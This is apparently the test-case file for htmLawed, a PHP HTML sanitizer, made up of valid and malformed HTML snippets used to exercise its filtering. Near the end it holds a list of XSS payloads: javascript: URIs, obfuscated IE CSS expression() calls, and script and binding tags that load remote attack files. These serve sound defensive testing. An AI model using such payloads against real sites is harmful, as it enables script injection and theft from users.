2 htmLawed_TESTCASE.txt, 19 January 2015
3 htmLawed 1.1.19, 19 January 2015
4 Copyright Santosh Patnaik
5 Dual licensed with LGPL 3 and GPL 2+
6 A PHP Labware internal utility - http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed
9 This file has UTF-8-encoded text with both correct and incorrect/malformed HTML/XHTML code snippets to test htmLawed (test cases/samples). The entire text may also be used as a unit.
11 ************************************************
12 when viewing this file in a web browser, set the
13 character encoding to Unicode/UTF-8
14 ************************************************
16 --------------------- start --------------------
18 <em>Try different $config and $spec values. Some text even when filtered in will not be displayed in a rendered web-page</em><br />
22 <strong>Xml:lang:</strong><a lang="en" xml:lang="en"></a>, <a lang="en"></a>, <a xml:lang="en"></a><br />
23 <strong>Standard, predefined value, or empty attribute:</strong> <input type="text" disabled />, <input type="text" disabled="DISABLED" />, <input type="text" disabled="1" /><br />
24 <strong>Required:</strong> <img />, <img alt="image" /><br />
25 <strong>Quote & space variation:</strong> <a id=id1 name=xy>a</a>, <a id='id2' name="xy">a</a>, <a id=' id3 ' name = "n" >a</a><br />
26 <strong>Invalid:</strong> <a id="id4" src="s">a</a><br />
27 <strong>Duplicated:</strong> <a id="id5" id="id6">a</a><br />
28 <strong>Deprecated:</strong> <a id="id7" target="self" name="n">a</a>, <hr noshade="noshade" /><br />
29 <strong>Casing:</strong> <a HREF=""></a><br />
30 <strong>Custom:</strong> <img alt="image" my:data="portrait" /><br />
31 <strong>Data-*:</strong> <a data-xml="x" data-xmnt="x" data-xmlnt="x" data-xmn:t="x" data-xmxm="x">a</a><br />
32 <strong>Admin-restricted?:</strong> <a href="x" onclick="alert();"></a>
34 <h6>Attribute values</h6>
36 <strong>Duplicate ID value:</strong><a id="id8"></a>, <a id="my_id8"></a>, <a id="id8"></a><br />
37 (try 'my_' for prefix)<br />
38 <strong>Double-quotes in value:</strong><a title=ab"c"></a>, <a title="ab"c"></a>, <a title='ab"c'></a><br />
39 (try filter for CSS expression)<br />
40 <strong>CSS expression</strong>: <div style="prop:expression();"></div><div style="prop:expression()"></div><div style="prop: expression();"></div><div style="prop : expression()"></div><div style="prop:expression(js);"></div><div style="prop:expression(js;)"></div><div style="prop: expression('js');"></div><div style="prop : expr ession('js':)"></div><div style="prop:expression( 'js@ );"></div><br />
41 <strong>Other:</strong> <input size="50" class="my" value="an input an input an input" />, <input size="5" class="your" value="an input" /><br />
42 (try 'maxlen', 'maxval', etc., for 'input' in '$spec')
46 <blockquote>abc</blockquote><br />
47 <blockquote>abc<div>def</div></blockquote><br />
48 <blockquote><div>abc</div>def</blockquote><br />
49 <blockquote>abc<div>def</div>ghi</blockquote><br />
50 abc<div>def</div>ghi<br />
51 <blockquote>QQQ<div>x</div><!-- comment --></blockquote><br />
52 <blockquote><div>x</div><!-- comment -->QQQ</blockquote><br />
53 <blockquote><!-- comment --><div>x</div>QQQ<div>x</div></blockquote><br />
54 <blockquote><div>x<!-- comment --></div>QQQ</blockquote><p>x</p><br />
56 (try with blockquote parent)
58 <h6>CDATA sections</h6>
60 <strong>Special characters inside:</strong> <![CDATA[ ]]> ]]>, <![CDATA[ 3 < 4 > 3.5, & 4 > 4 ]]><br />
61 <strong>Normal:</strong> <![CDATA[ check ]]>, <em>CDATA follows:<![CDATA[ check ]]></em><br />
62 <strong>Malformed:</strong> <![cdata check ]]>, < ![CDATA check ]]>, <![CDATA check ]]>, < ![CDATA check ] ]><br />
63 <strong>Invalid:</strong> <em <![CDATA[ check ]]>>CDATA in tag content</em>, <table><![CDATA[ check ]]><tr><td>text not allowed</td></tr></table>
65 <h6>Complex-1: deprecated elements</h6>
68 The PHP <s>software</s> script used for this <strike>web-page</strike> webpage is <font style="font-weight: bold " face=arial size='+3' color = "red ">htmLawedTest.php</font>, from <u style= 'color:green'>PHP Labware</u>.
71 <h6>Complex-2: deprecated attributes</h6>
73 <img src="s" alt="a" name="n" /><img src="s" alt="a" id="id9" name="n" />
75 <hr noshade size="1" />
76 <img name="id10" src="s" align="left" alt="image" hspace="10" vspace="10" width="10em" height="20" border="1" style="padding:5px;" />
77 <table width="50em" align="center" bgcolor="red">
81 <h3 align="right">Section</h3>
82 <p align="right">Para</p>
83 <ol type="a" start="e"><li value="x"><a name="x">First</a> <a name="x" id="id11">item</a></li></ol>
87 <ol type="1"><li>First item</li></ol>
93 <h6>Complex-3: embed, object, area</h6>
95 <object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/ls7gi1VwdIQ"></param><embed src="http://www.youtube.com/v/ls7gi1VwdIQ" type="application/x-shockwave-flash" width="425" height="350"></embed></object><br />
97 <embed src="http://www.youtube.com/v/ls7gi1VwdIQ" type="application/x-shockwave-flash" width="425" height="350"></embed><br />
99 <object data="1.gif" type="image/gif" usemap="#map1"><map name="map1">
100 <p>navigate the site: <a href="1" shape="REct" coOrds="0,0,118,28">1</a> | <a href="3" shape="circle" coords="184,200,60">3</a> | <a href="4" shape="poly" coords="276,0,276,28,100,200,50,50,276,0">4</a></p>
101 <area href="5" shape="Rect" coords="0,0,118,28">
104 <param name="name">value</param>
107 <param name="param1">
109 <param name="param2">
113 <h6>Complex-4: nested and other tables</h6>
115 <table border="1" bgcolor="red"> <tr> <td> Cell </td> <td colspan="2" rowspan="2"> <table border="1" bgcolor="green"> <tr> <td> Cell </td> <td colspan="2" rowspan="2"> </td> </tr> <tr> <td> Cell </td> </tr> <tr> <td> Cell </td> <td> Cell </td> <td> Cell </td> </tr> </table> </td> </tr> <tr> <td> Cell </td> </tr> <tr> <td> Cell </td> <td> Cell </td> <td> Cell </td> </tr> </table><br />
116 <strong>PCDATA wrong:</strong> <table>Well<caption>Hello</caption></table><br />
117 <strong>Missing tr:</strong> <table><td>Well</td></table><br />
119 <h6>Complex-5: pseudo, disallowed or non-HTML tags</h6>
121 (Try different 'keep_bad' values)
123 <xml>Non-HTML tag xml</xml>
127 <ul>Bad<li>OK</li></ul>
131 <strong>Unbalanced:</strong> <a href="h"><em>check</a></em><br />
132 <strong>Non-XHTML:</strong> <div><center><dir></dir></center></div><br />
133 <strong>Malformed:</strong> < a href=""></a>, <a href="" ></a>, <a href="" ></a>, <a href=""
134 ></a>, <a href="">< /a>, < a href=""></a >, <img src="s" alt="a" />, <img src="s" alt="a"/ >, <imgsrc="s" alt="a" /><br />
135 <strong>Invalid:</strong> <image src="s" alt="a" /><br />
136 <strong>Empty:</strong> <img src="s" alt="a" />, <img src="s" alt="a"></img>, <img src="s" alt="a">text</img><br />
137 <strong>Content invalid:</strong> <a href="h">1<a>2</a></a><br />
138 <strong>Content invalid?:</strong> <form></form><br /> (try setting 'form' as parent)<br />
139 <strong>Casing:</strong> <A href=""></a><br />
140 <strong>Check for tidy:</strong> <br /><hr /></div><hr /></div><hr /></div><div>hi</div>
144 <strong>Special:</strong> & 3 < 2 & 5>4 and j >i >a & i<j>a<br />
145 <strong>Padding:</strong> B B f f  <br />
146 <strong>Malformed:</strong> & #x27;, &x27;, ' &TILDE;, &tilde<br />
147 <strong>Invalid:</strong> , �, , �, , &bad;<br />
148 <strong>Discouraged characters:</strong> , „, , <br />
149 <strong>Context:</strong> '>', <?<br />
150 <strong>Casing:</strong> ', ', &TILDE;, ˜
152 (also check named-to-numeric and hexdec-to-decimal, and vice versa, conversions)
156 <strong>Valid but ill-formatted:</strong> text <!-- comment -->
163 </script><!-- comment --><![CDATA[ cdata ]]> <a>text</b> text<pre id="none">p r e</pre>
164 <textarea>text</textarea> <textarea>
166 </textarea> text text <br /><hr />
167 text <img src="none" alt="none" /> t<em class="none">e<strong>x</strong>t</em>
168 text <img src="none" alt="none" /> <b>t<em> e <strong> x </strong> t</em></b>
169 <a href="a"> text <img src="none" alt="none" /> <b>t <em> e <strong> x </strong> t</em></b>
171 <span style="background-color: yellow;">text <img src="none" alt="none" /> <b> <em> t e <strong> x </strong> t</em></b></span>
172 <script>script</script>
174 <pre id="none">p <a>r</a> e <!-- comment --> </pre>
179 <div><div><table border="1" style="background-color: red;"><tr><td>Cell</td><td colspan="2" rowspan="2"><table border="1" style="background-color: green;"><tr><td>Cell</td><td colspan="2" rowspan="2"></td></tr><tr><td>Cell</td></tr><tr><td>Cell</td><td>Cell</td><td>Cell</td></tr></table></td></tr><tr><td>Cell</td></tr><tr><td>Cell</td><td>Cell</td><td>Cell</td></tr></table></div></div>
180 (try to compact or beautify)
184 (note nesting of 'form', missing required attributes, etc.)<br />
186 <script type="text/javascript">s</script>
187 <fieldset><legend>p</legend>l <input name="personal_lastname" type="text" tabindex="1"></fieldset>
188 <input name="h" type="checkbox" value="h" tabindex="20"> h
189 <textarea name="t">t</textarea>
190 <form action="a" method="get"></form></form><br />
191 <form action="b" method="get"><p><input type="text" value="i" /></form><br />
192 <form>B:<input type="text" value="b" />C:<input type="text" value="c" /></form><br />
193 (try each of these lines separately)<br />
194 <form action="a">what<br />
195 <form action="a">what
196 (try with container as div and as form)<br />
197 <form>c <a>a</a> <b>b</b><input /><script>s</script>
199 <h6>HTML comments (also CDATA)</h6>
201 <strong>Script inside:</strong> <!--[if gte IE 4]>
202 <SCRIPT>alert('XSS');</SCRIPT>
204 <strong>Special characters inside: <!-- <![CDATA check ]]> -->, <!-- 3 < 4 > 3.5, & 4 > 4 -->, <!-- che--ck -->, <!--[if !IE]> <--><a>c</a><!--> <![endif]--><br />
205 <strong>Normal:</strong> <!-- check -->, <!--check -->, <em>comment:<!-- check --></em><!-- check -->, <table><!-- check --><tr><td>text not allowed</td></tr></table><br />
206 <strong>Malformed:</strong> <![cdata check ]]>, < ![CDATA check ]]>, < ![CDATA check ] ]><br />
207 Invalid:</strong> <em <!-- check -->>comment in tag content</em>, <!--check-->
211 <strong>figure and figcaption:</strong> <figure><img src="picture.jpg" alt="picture"><figcaption>Caption for the awesome picture</figcaption></figure>
212 <strong>article:</strong> <h1>A</h1><p>B</p><article><h2>C</h2></article><article><h2>E</h2><p>F</p><p>G</p></article>
213 <strong>meter</strong>: <p>Heat <meter min="100" max="200" value="150">150</meter>.</p>
214 <strong>datalist</strong>: <input list="b" /><datalist id="b"><option value="c"><option value="d"></datalist>
218 (depending on context, these elements can be of either block or inline type)<br />
219 <p><ins datetime="d" cite="c"><div>block</div></ins></p><br />
220 <p><del>d</del></p><br />
221 <p><ins><del>d</del></ins></p><div><ins><p><del><div>d</div></del></p></ins></div><ins><div>d</div></ins>
225 <strong>Invalid character data</strong>: <ul><li>(item</li>)</ul><br />
226 <strong>Definition list</strong>: <dl><dt>a</dt>bad<dd>first <em>one</em></dd><dt>b</dt><dd>second</dd></dl><br />
227 <strong>Definition list, close-tags omitted</strong>: <dl><dt>a</dt>bad<dd>first <em>one</em></dd><dt>b<dd>second</dl><br />
228 <strong>Definition lists, nested</strong>: <dl>
232 <dd>D2<dl><dt>t1</dt><dd>d1</dd><dt>t2</dt><dd>d2</dd></dl></dd>
236 <dd>D4<dl><dt>t1</dt><dd>d1</dd></dl></dd>
238 <strong>Definition lists, nested, close-tags omitted</strong>: <dl>
242 <dd>D2<dl><dt>t1<dd>d1<dt>t2</dt><dd>d2</dd></dl></dd>
246 <dd>D4<dl><dt>t1<dd>d1</dl></dd>
248 <strong>Nested</strong>: <ul>
250 <li>l2<ol><li>lo1</li><li>lo2</li></ol></li>
252 <li>l4<ol><li>lo3</li><li>lo4<ol><li>lo5</li></ol></li></ol></li>
254 <strong>Nested, directly</strong>: <ul>
259 <strong>Nested, close-tags omitted</strong>: <ul>
261 <li>l2<ol><li>lo1<li>lo2</ol>
263 <li>l4<ol><li>lo3<li>lo4<ol><li>lo5</ol></ol>
265 <strong>Complex</strong>:
266 <ol><script></script><li><table><tr><td>
267 <ul><li id="search" class="widget widget_search"> <form id="searchform" method="get" action="http://kohei.us">
270 <input type="text" name="s" id="s" size="15" /><br />
271 <input type="submit" value="Search" />
275 </td></tr></table></li></ol>
276 <strong>Menu</strong>: <menu type="toolbar"><li><menu label="File">
277 <button type="button" onclick="new()">New...</button>
278 </menu></li><li><menu label="Edit"><button type="button" onclick="cut()">Cut...</button></menu></li>
283 <div itemscope itemtype="http://data-vocabulary.org/Person">
284 I am <span itemprop="name">X</span> but people call me <span itemprop="nickname">Y</span>.
285 Find me at <a href="http://www.xy.com" itemprop="url">www.xy.com</a>
288 <h6>Microsoft Word</h6>
290 <strong>Proprietary tag</strong>: <p class=3DMsoNormal><o:p> </o:p></p><br />
291 <strong>XML declaration</strong>: <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><br />
292 <strong>XML-invalid character code-point (may not replicate)</strong>: <p class=3DMsoNormal>“Where is he?” asked both Mary – the one so lovely – and Jane.</p>
296 <strong>Block or inline a</strong>: <p><a href="link">text</a></p><a href="link"><div>hi</div></a><br />
298 <h6>Non-English text-1</h6>
300 Inscrieţi-vă acum la a Zecea Conferinţă Internaţională<br />
301 გთხოვთ ახლავე გაიაროთ რეგისტრაცია<br />
302 večjezično računalništvo<br />
303 <a title="อ.อ่าง">อ.อ่าง</a><br />
305 כעת לכנס ">Зарегистрируйтесь сейчас
306 на Десятую Международную Конференцию по</a><br />
307 (this file should have utf-8 encoding; some characters may not be displayed because of missing fonts, etc.)
309 <h6>Non-English text-2: entities</h6>
311 用统一码<br />
312 გთხოვთ<br />
313 Inscreva-se agora para a Décima Conferência Internacional Sobre O Unicode, realizada entre os dias 10 e 12 de março de 1997 em Mainz
318 (need compatible browser)<br />
326 <rtc class="reading">
332 <rtc class="annotation">
333 <rt rbspan="4" xml:lang="en">W3C Associate Chairman</rt>
338 <rp>(</rp><rt>World Wide Web</rt><rp>)</rp>
342 <rp>(</rp><rt>aaa</rt><rp>)</rp>
348 <strong>Omitted closing tags:</strong> <table>
349 <colgroup><col style="x" /><col style="y" />
356 <strong>Nested, omitted closing tags:</strong> <table>
357 <colgroup><col style="x" /><col style="y" />
361 <tr><td>r1c1<td>r1c2<table>
362 <colgroup><col style="x" /><col style="y" />
372 <h6>Tag transformation</h6>
373 <strong>Font element intended as 'inline' element:</strong> <p><font color='red'>hi</font></p><br />
374 <strong>Font element intended as 'block' element:</strong> <div><font color='red'><div>hi</div></font></div><br />
375 <strong>Font element intended as 'block' element:</strong> <center><font color='red'><div>hi</div><div>QQQ</div></font></center><br />
378 <strong>White-space handling:</strong> abc<em> def </em> ghi abc <em>def</em> ghi
382 <strong>Relative and absolute:</strong> <a href="mailto:x"></a>, <a href="http://a.com/b/c/d.f"></a>, <a href="./../d.f"></a>, <a href="./d.f"></a>, <a href="d.f"></a>, <a href="#s"></a>, <a href="./../../d.f#s"></a><br />
383 (try base URL value of 'http://a.com/b/')<br />
384 <strong>CSS URLs:</strong> <div style="background-image: url('a.gif');"></div>, <div style="background-image: URL("a.gif");"></div>, <div style="background-image: url('http://a.com/a.gif');"></div>, <div style="background-image: url('./../a.gif');"></div>, <div style="background-image: url('js:xss')"></div><br />
385 <strong>Double URLs:</strong> <a style="behaviour: url(foo) url(http://example.com/xss.htc)">b</a><br />
386 <strong>Anti-spam:</strong> (try regex for 'http://a.com', etc.) <a href="mailto:x@y.com"></a>, <a href="http://a.com/b@d.f"></a>, <a href="a.com/d.f" rel="nofollow"></a>, <a href="a.com/d.f" rel="1, 2"></a>, <a href="a.com/d.f"></a>, <a href="b.com/d.f"></a>, <a href="c.com/d.f">, <a href="denied:http://c.com/d.f"></a><br />
387 <strong>Soft-hyphen:</strong> <a href="http://q=ídisc">ídisc</a>
391 <img alt="<img onmouseover=confirm(1)//"<"">
392 '';!--"<xss>=&{()}<br />
393 <img src="javascript%3Aalert('xss');" /><br />
394 <img src="javascript:alert('xss');" /><br />
395 <img src="java script:alert('xss');" /><br />
397 src=javascript:alert('XSS') /><br />
398 <div style="javascript:alert('xss');"></div><br />
399 <div style="background-image:url(javascript:alert('xss'));"></div><br />
400 <div style="background-image:url("javascript:alert('xss')" );"></div><br />
401 <!--[if gte IE 4]><script>alert('xss');</script><![endif]--><br />
402 <script a=">" src="http://ha.ckers.org/xss.js"></script><br />
403 <div style="background-image: url('js:xss')"></div><br />
404 <a style=";-moz-binding:url(http://lukasz.pilorz.net/xss/xss.xml#xss)" href="http://example.com">test</a><br />
405 <strong>Bad IE7:</strong> <a href="http://x&x=%22+style%3d%22background-image%3a+expression%28alert
406 %28%27xss%3f%29%29">x</a><br />
407 <strong>Opera:</strong> <a href="\xE2\x80\x83javascript:alert(123)">link</a>
408 <strong>Bad IE7:</strong> <a style=color:expr/*comment*/ession(alert(document.domain))>xxx</a><br />
409 <strong>Bad IE7:</strong> <a href="xxx" style="background: expression(alert('xss'));">xxx</a><br />
410 <strong>Bad IE7:</strong> <a href="xxx" style="background: expression(alert('xss'));">xxx</a><br />
411 <strong>Bad IE7:</strong> <a href="xxx" style="background: %45xpression(alert('xss'));">xxx</a><br />
412 <strong>Bad IE7:</strong> <a href="xxx" style="background:/**/expression(alert('xss'));">xxx</a><br />
413 <strong>Bad IE7:</strong> <a href="xxx" style="background:/**/Expression(alert('xss'));">xxx</a><br />
414 <strong>Bad IE7:</strong> <a href="xxx" style="background:/**/Expression(alert('xss'));">xxx</a><br />
415 <strong>Bad IE7:</strong> <a href="xxx" style="background: expr%45ssion(alert('xss'));">xxx</a><br />
416 <strong>Bad IE7:</strong> <a href="xxx" style="background: exp/* */ression(alert('xss'));">xxx</a><br />
417 <strong>Bad IE7:</strong> <a href="xxx" style="background: exp /* */ression(alert('xss'));">xxx</a><br />
418 <strong>Bad IE7:</strong> <a href="xxx" style="background: exp/ * * /ression(alert('xss'));">xxx</a><br />
419 <strong>Bad IE7:</strong> <a href="xxx" style="background:/* x */expression(alert('xss'));">xxx</a><br />
420 <strong>Bad IE7:</strong> <a href="xxx" style="background:/* */ */expression(alert('xss'));">xxx</a><br />
421 <strong>Bad IE7:</strong> <a href="x" style="width: /****/**;;;;;;*/expression/**/(alert('xss'));">x</a><br />
422 <strong>Bad IE7:</strong> <a href="x" style="padding:10px; background:/**/expression(alert('xss'));">x</a><br />
423 <strong>Bad IE7:</strong> <a href="x" style="background: huh /* */ */expression(alert('xss'));">x</a><br />
424 <strong>Bad IE7:</strong> <a href="x" style="background:/**/expression(alert('xss'));background:/**/expression(alert('xss'));">x</a><br />
425 <strong>Bad IE7:</strong> exp/*<a style='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>x</a><br />
426 <strong>Bad IE7:</strong> <a style="background:Expre\ssion(alert('xss'));">hi</a><br />
427 <strong>Bad IE7:</strong> <a style="background:expre\ssion(alert('xss'));">hi</a><br />
428 <strong>Bad IE7:</strong> <a style="color: \0065 \0078 \0070 \0072 \0065 \0073 \0073 \0069 \006f \006e \0028 \0061 \006c \0065 \0072 \0074 \0028 \0031 \0029 \0029">test</a><br />
429 <strong>Bad IE7:</strong> <a style="xss:e\0078pression(window.x?0:(alert(/XSS/),window.x=1));">hi</a><br />
430 <strong>Bad IE7:</strong> <a style="background:url('java
431 script:eval(document.all.mycode.expr)')">hi</a><br />
440 <![if !vml]> some stuff <![endif]> <br />
441 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /> <br />
442 <uml:ns ns = "urn:www"> <br />
443 <uml:ns ns = 'urn:www'> <br />
444 if(13<age AND 21>age){say 'teen'} <br />
445 age >51 and a smoking history of >51 pack-years <b>was</b> <br />
446 age > 51 and a smoking history of >51 pack-years <b>was</b> <br />
447 age <51 and a smoking history of <51 pack-years <b>was</b> <br />
448 age < 51 and a smoking history of < 51 pack-years <b>was</b> <br />
449 <b>age >51 and a smoking history of >51 pack-years</b> <br />
450 <b>age > 51 and a smoking history of >51 pack-years</b> <br />
451 <b>age <51 and a smoking history of <51 pack-years</b> <br />
452 <b>age < 51 and a smoking history of < 51 pack-years</b> <br />